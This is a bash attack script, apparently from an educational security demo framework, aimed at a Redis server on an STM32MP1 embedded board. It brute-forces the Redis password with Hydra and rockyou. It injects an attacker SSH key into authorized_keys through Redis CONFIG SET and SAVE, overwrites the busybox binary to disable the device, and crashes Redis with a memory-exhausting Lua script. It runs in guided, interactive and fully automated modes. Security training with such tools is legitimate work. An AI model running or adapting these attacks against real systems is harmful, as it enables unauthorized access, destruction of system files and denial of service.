#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Function to request necessary information for performing the attack
get_attack_info(){
	read -p "[+] Please enter the STM32MP1 IP address: " target_ip_address
	while ! (ping -c 1 -W 2 $target_ip_address > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the STM32MP1 IP address: " target_ip_address
	done
}

# Function to check if the Redis server is accessible and whether authentication is required
check_redis_connection(){
    redis_response=$(redis-cli -h "$target_ip_address" PING)

    if [ "$redis_response" != "PONG" ] && [ "$redis_response" != "NOAUTH Authentication required." ]; then 
		echo "[!] Redis server unreachable."
        echo "[!] Please ensure the Redis server is running on the target machine."
        exit 1

    elif [ "$redis_response" == "NOAUTH Authentication required." ]; then
        echo "[+] The Redis server requires authentication."
        echo "[+] We will attempt a dictionary-based attack using Hydra to find the password."
        hydra_dictionary_attack

    elif [ "$redis_response" == "PONG" ]; then
        echo "[+] The Redis server does not require authentication."
        echo "[+] Moving on to the attack phase."
    fi
}

# Function to perform the dictionary-based attack using Hydra
hydra_dictionary_attack(){
    if [ "$is_automated_mode" -eq 0 ]; then
        echo ""
        echo "[+] Please specify the dictionary name to use for the attack."
        echo "[+] The dictionary file must be located in the 'dictionary' folder."
        read -p "[+] Enter the dictionary name (default : rockyou.txt) : " dictionary_name
        dictionary_name=${dictionary_name:-rockyou.txt}
    fi

    echo ""
    echo "[+] Starting the dictionary attack. This may take some time depending on the size of your dictionary."
    result=$(hydra -P "$SCRIPT_DIR/dictionary/$dictionary_name" redis://$target_ip_address:$REDIS_PORT)

    if ! echo "${result}" | grep -q "password"; then
        echo "[!] No valid password found. Try using a different dictionary."
        exit 1
    fi

    if echo "${result}" | grep -q "0 valid password"; then
        echo "[!] No valid password found. Try using a different dictionary."
        exit 1
    fi

    password=$(echo "$result" | grep -o 'password: .*' | awk '{print $2}')
    echo "[+] Password found : $password"
    if [ "$is_automated_mode" -ne 0 ]; then
        # If you are in automated mode, save the found credentials in a file. These credentials can be used to carry out other attacks.
        echo -e "{\"redis_password\": \"$password\"}" > "$ATTACK_OUTPUT_FILE"
        if [ $? -ne 0 ]; then
            echo "[!] Error: Failed to write credentials to 'tmp_attack_output.json'. Please check your permissions."
        fi
    fi
}

# Function to perform the SSH key injection attack
ssh_attack() {
    mkdir -p "$SCRIPT_DIR/rsa_key/"
    cd "$SCRIPT_DIR/rsa_key/"
    rm -f "id_rsa"
    rm -f "id_rsa.pub"

    echo ""
    echo "[+] Starting SSH key injection attack."
    ssh-keygen -t rsa -f './id_rsa' -N ''
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > formatted_pub_key.txt

    if [ -z "${password+x}" ]; then 
        cat formatted_pub_key.txt | redis-cli -h "$target_ip_address" -x set ssh_key; 
        redis-cli -h "$target_ip_address" config set dir /var/lib/redis/.ssh
        redis-cli -h "$target_ip_address" config set dbfilename "authorized_keys"
        redis_save_cmd=(redis-cli -h "$target_ip_address" save)
    else 
        cat formatted_pub_key.txt | redis-cli -h "$target_ip_address" -a "$password" -x set ssh_key; 
        redis-cli -h "$target_ip_address" -a "$password" config set dir /var/lib/redis/.ssh   
        redis-cli -h "$target_ip_address" -a "$password" config set dbfilename "authorized_keys" 
        redis_save_cmd=(redis-cli -h "$target_ip_address" -a "$password" save)
    fi

    retry_count=0
    max_retries=30
    while true; do
        output=$("${redis_save_cmd[@]}")
        echo $output
        if [[ "$output" == *"OK"* ]]; then
            echo "[+] SSH key successfully written to Redis 'authorized_keys' file."
            break
        elif (( retry_count > max_retries )); then
            echo "[!] Redis save operation did not succeed after $max_retries retries."
            exit 1
        fi
        echo "[!] Redis save is already in progress or failed, retrying in 5 seconds..."
        ((retry_count++))
        sleep 5
    done

    rm -f "formatted_pub_key.txt"

    echo "[+] You can now SSH into the target system as the 'redis' user using the private key created in the '/rsa_key' folder."
    echo "[+] To connect to the target system, use the following command : "
    echo "ssh -i id_rsa redis@${target_ip_address}"
}

# Function to perform the busybox deletion attack
busybox_attack(){
    echo ""
    echo "[+] Starting busybox deletion attack."
    if [ -z ${password+x} ]; then
        redis-cli -h "$target_ip_address" flushall 
        echo "You have been hacked"| redis-cli -h "$target_ip_address" x set 1; 
        redis-cli -h "$target_ip_address" config set dir /bin 
        redis-cli -h "$target_ip_address" config set dbfilename "busybox" 
        redis-cli -h "$target_ip_address" save 
    else 
        redis-cli -h "$target_ip_address" -a "$password" flushall 
        echo "You have been hacked"| redis-cli -h "$target_ip_address" -a "$password" -x set 1; 
        redis-cli -h "$target_ip_address" -a "$password" config set dir /bin 
        redis-cli -h "$target_ip_address" -a "$password" config set dbfilename "busybox" 
        redis-cli -h "$target_ip_address" -a "$password" save 
    fi

    echo "[+] The busybox binary has been replaced and is no longer functional."
}

# Function to perform the LUA-based DoS attack
lua_attack() {
    echo ""
    echo "[+] Starting LUA-based DoS attack."
    if [ -z ${password+x} ]; then
        cat "$SCRIPT_DIR/scripts/exploit.lua" | redis-cli -h "$target_ip_address" EVAL "$(</dev/stdin)" 0
    else 
        cat "$SCRIPT_DIR/scripts/exploit.lua" | redis-cli -h "$target_ip_address" -a "$password" EVAL "$(</dev/stdin)" 0
    fi

    echo "[+] The Redis server is now down."
}

# Function to execute the entire attack process
run_attack(){
	case $selected_attack in
		(s|S)
            ssh_attack
			;;
		(b|B)
            busybox_attack
			;;
		(l|L)
            lua_attack
			;;
		(*)
			echo "[!] Invalid attack chosen : $selected_attack."
            echo "[!] Please use 'S' for the SSH key attack, 'B' for the Busybox deletion attack, or 'L' for the LUA-based attack."
            exit 1
            ;;
	esac
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the Redis global attack
attack_step_by_step(){
	echo ""
	echo "======== STEP 1 : Configure Attack Parameters ========"
	echo ""
	echo "[+] First, you need to provide the IP address of the STM32MP1 where the Redis server is hosted."

	get_attack_info

	echo ""
	echo "======== STEP 2 : Check Redis Server Accessibility ========"
	echo ""
    echo "[+] Before proceeding with the attack, we need to check if we can connect to the Redis server."
    echo "[+] If no password is required, we will move directly to the attack phase."
    echo "[+] If a password is required, we will attempt a dictionary-based attack to crack the password."
    echo "[+] Press ENTER to proceed..."
    read -n 1 wait

    check_redis_connection

    echo ""
	echo "======== STEP 3 : Choose the Attack ========"
	echo ""
    echo "[+] You can now choose between 3 attack options :"
    echo " - SSH Key Injection Attack: Adds an SSH key to the authorized keys on the target system to gain persistent access."
    echo " - Busybox Deletion Attack: Replaces the Busybox binary with a text file, compromising system operation."
    echo " - LUA-based DoS Attack: Causes a denial of service (DoS) on the Redis server."
    echo ""
    while true;
    do
        read -p "[+] Enter 'S' for the SSH key attack, 'B' for the Busybox deletion attack, or 'L' for the LUA-based attack : " selected_attack
        case $selected_attack in
            (s|S)
                echo ""
                echo "======== STEP 4 : SSH Key Injection Attack ========"
                echo ""
                echo "[+] The aim of this attack to inject an SSH key into the 'redis' user's authorized keys."
                echo "[+] By doing this, we will be able to authenticate as the 'redis' user via SSH using the injected key."

                echo ""
                echo "[+] The attack process follows these steps:"
                echo " 1. Generate a new SSH key pair (private and public keys)."
                echo " 2. Format the public key so that it can be understood by the SSH daemon on the target system."
                echo " 3. Empty the Redis database and inject our formatted public key into it."
                echo " 4. Modify the Redis configuration to set the save directory to '/var/lib/redis/.ssh'."
                echo " 5. Change the backup file name to 'authorized_keys'."
                echo " 6. Trigger a Redis save operation, which will overwrite the original 'authorized_keys' file with our public key."
                
                echo ""
                echo "[+] Press ENTER to proceed with the attack..."
                read -n 1 wait
                ssh_attack
                break
                ;;

            (b|B)
                echo ""
                echo "======== STEP 4 : Busybox Deletion Attack ========"
                echo ""
                echo "[+] 'Busybox' is a lightweight tool used in many embedded Linux systems, providing implementations for essential Linux commands."
                echo "[+] The goal of this attack is to replace the actual 'busybox' binary with a simple text file, causing system instability."

                echo ""
                echo "[+] The attack process follows these steps:"
                echo " 1. Empty the Redis database and replace its contents with a simple text file."
                echo " 2. Modify the Redis configuration to set the save directory to /bin."
                echo " 3. Change the backup file name to 'busybox'."
                echo " 4. Trigger a Redis save operation, which will overwrite the original 'busybox' binary with the text file."

                echo ""
                echo "[+] Warning: This attack will disrupt the device's functionality, as almost all Linux commands will fail to execute!"
                echo "[+] Press ENTER to proceed with the attack..."
                read -n 1 wait
                busybox_attack
                break
                ;;

            (l|L)
                echo ""
                echo "======== STEP 4 : LUA-Based DoS Attack ========"
                echo ""
                echo "[+] The aim of this attack is to cause a Denial of Service (DoS) on the target's Redis server."
                echo "[+] We will achieve this by exploiting the Redis EVAL command to run a malicious Lua script."
                echo "[+] The Lua script contains an extremely long string, which, when processed by Redis, will cause excessive memory consumption."
                echo "[+] As a result, Redis will be terminated by the operating system due to resource exhaustion."
                echo "[+] Press ENTER to proceed with the attack..."
                read -n 1 wait
                lua_attack
                break
                ;;

            (*)
                echo -e "[!] Invalid option.\n"
                ;;
        esac
    done

    echo ""
    echo "[+] If you want to replay the attack with the non interactive mode, the command is :"
    echo "./exploit.sh -all ${target_ip_address} ${dictionary_name} ${selected_attack} "
}

# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive(){
    get_attack_info

    echo ""
    check_redis_connection

    echo ""
    echo "[+] Please the attack you would like to proceed with : "
    while true;
    do
        read -p "[+] Enter 'S' for the SSH key attack, 'B' for the Busybox deletion attack, or 'L' for the LUA-based attack : " selected_attack
        case $selected_attack in
            (s|S)
                ssh_attack
                break
                ;;
            (b|B)
                busybox_attack
                break
                ;;
            (l|L)
                lua_attack
                break
                ;;
            (*)
                echo -e "[!] Invalid option.\n"
                ;;
        esac
    done
}

# Function to fully automate the attack process without user interaction
attack_automated(){
    case $attack_phase in
        (-a|-all)
			check_redis_connection
			run_attack
            ;;
        (-s|-setup)
            echo "[!] This attack does not have an setup phase."
			exit 1
            ;;
        (-p|-prepare)
            echo "[!] This attack does not have an preparation phase."
			exit 1
            ;;
        (-e|-exploit)
            check_redis_connection
            run_attack
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

cat << EndOfMessage
=========================================================================================
                                                                                                                                              
██████╗ ███████╗██████╗ ██╗███████╗     █████╗ ████████╗████████╗ █████╗  ██████╗██╗  ██╗
██╔══██╗██╔════╝██╔══██╗██║██╔════╝    ██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██████╔╝█████╗  ██║  ██║██║███████╗    ███████║   ██║      ██║   ███████║██║     █████╔╝ 
██╔══██╗██╔══╝  ██║  ██║██║╚════██║    ██╔══██║   ██║      ██║   ██╔══██║██║     ██╔═██╗ 
██║  ██║███████╗██████╔╝██║███████║    ██║  ██║   ██║      ██║   ██║  ██║╚██████╗██║  ██╗
╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝    ╚═╝  ╚═╝   ╚═╝      ╚═╝   ╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝
                                                                                         
EndOfMessage
echo ""
echo "[+] You are about to initiate the Redis global attack!"
echo "[+] This attack consists of three different attacks, all of which exploit the Redis server to perform malicious actions on the target system."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
REDIS_PORT=6379

# Variables used for automated attack mode
ATTACK_OUTPUT_FILE="$SCRIPT_DIR/../tmp_attack_output.json" 
is_automated_mode=0

# If script is executed with exactly 4 argument, run the attack automatically with those arguments
if [ $# -eq 4 ]; then
    attack_phase=$1
    target_ip_address=$2
    dictionary_name=$3
    selected_attack=$4
    
    is_automated_mode=1
    echo "{}" > "$ATTACK_OUTPUT_FILE"
    if [ $? -ne 0 ]; then
        echo "[!] Error: Failed to write to 'tmp_attack_output.json'. Please check your permissions."
    fi
    attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
            ;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0
